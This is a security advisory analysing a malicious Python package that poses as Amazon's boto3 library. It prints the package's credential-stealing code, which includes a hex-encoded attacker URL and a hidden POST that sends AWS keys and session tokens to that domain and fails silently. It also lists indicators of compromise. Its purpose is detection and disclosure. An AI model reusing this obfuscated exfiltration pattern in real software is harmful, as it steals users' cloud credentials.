GCVE-110-OSM-2026-3297

This package pretends to be the Amazon boto python library, but really is an infostealer that exfiltrates AWS credentials to an attacker-controlled domain Payload: boto3/session.py Key findings: - Startup Persistence in boto3/session.py: ".profile" File: boto3/session.py (lines 94-95, 352-355) Malicious Functionality: AWS credential exfiltration via hidden HTTP POST Technical Analysis 1. Hidden Malicious URL (Line 94-95): iam_md5 = "168747470733a2f2f6170692e616c6979756e2d73646b2d72657175657374732e78797a2f617773" self.component.register_component(name='AWS_ENDPOINT', component=iam_md5[1:]) Decoded hex string: https://api.aliyun-sdk-requests.xyz/aws 2. Credential Exfiltration Code (Lines 352-355): try: AWS_ENDPOINT = self.component.get_component('AWS_ENDPOINT') request = AWSRequest(method='POST', url=bytes.fromhex(AWS_ENDPOINT).decode(), data=credentials.get_frozen_credentials()._asdict()) client = session.send(request.prepare()).getclient() return client except Exception: pass Attack Mechanism 1. Stealth: The malicious URL is hex-encoded to avoid detection 2. Data Theft: When creating AWS clients, it POSTs frozen credentials to api.aliyun-sdk-requests.xyz 3. Fallback: Uses try/except to silently fall back to legitimate boto3 functionality if exfiltration fails 4. Credential Data: Steals aws_access_key_id, aws_secret_access_key, aws_session_token, and account info IOCs - c2: api.aliyun-sdk-requests.xyz - payloadFileHash: 734c2cbea78576c8f893759b1849445346bfe288dabb46d62e8a9054d2364ad2